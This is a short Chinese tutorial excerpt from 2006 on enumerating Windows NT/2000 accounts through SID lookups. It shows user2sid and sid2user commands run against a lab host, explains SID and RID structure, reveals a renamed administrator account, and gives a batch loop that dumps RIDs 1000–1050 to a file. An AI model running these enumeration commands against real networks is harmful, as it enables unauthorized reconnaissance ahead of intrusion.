战术攻防思维撷粹
2006-07-04 20:29:28 来源:WEB开发网C:\toolkit>user2sid \\192.168.1.2 “testaccount”
S-1-5-21-1960408961-789336058-1343024091-509
Number of subauthorities is 5
Domain is LABDOMAIN
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
实验中,我们看到机器的SID格式表达式为:S-R-X -Y(1)-Y(2)-……-Y(N)。其中S表示该字符串是SID,R是SID的版本号,对于2000来说,这里为1,然后X是标志符的颁发机构 (identifier authority)。对于2000内的帐户,颁发机构就是NT,值是5。然后Y表示一系列的子颁发机构,前面几项是标志域的,最后一个Y(N)标志着域内的帐户和组,我们也称之为相关标识符(RID)。也就是说,帐户的区别在于RID,这里的RID值为509。而Administrator用户的RID总为500,Guest的RID总是501。根据这些知识和已得到的SID,就可以查询出Administrator帐号名(即使管理员帐号名被修改):
C:\toolkit>sid2user \\192.168.1.2 5 21 1960408961 789336058 1343024091 500
Name is sysadmin
Domain is LABDOMAIN
Type of SID is SidTypeUser
从上面实验,我们可以看到系统管理员的帐户名竟然是sysadmin!
为了节省手工输入的困惑,利用这样一个脚本能提高帐户转储的效率:
C:\>for /L %I IN (1000,1,1050) DO sid2user \\192.168.1.2 5 21 1960408961 789336058 1343024091 %I >> users.txt
(注:
NT/W2K域中创建的第一个帐号所赋的RID为1000。
关于for的用法可在CMD模式下输入for /?查询。
50次循环转储RID 1000-1050用户名到users.txt文件。
更多精彩
赞助商链接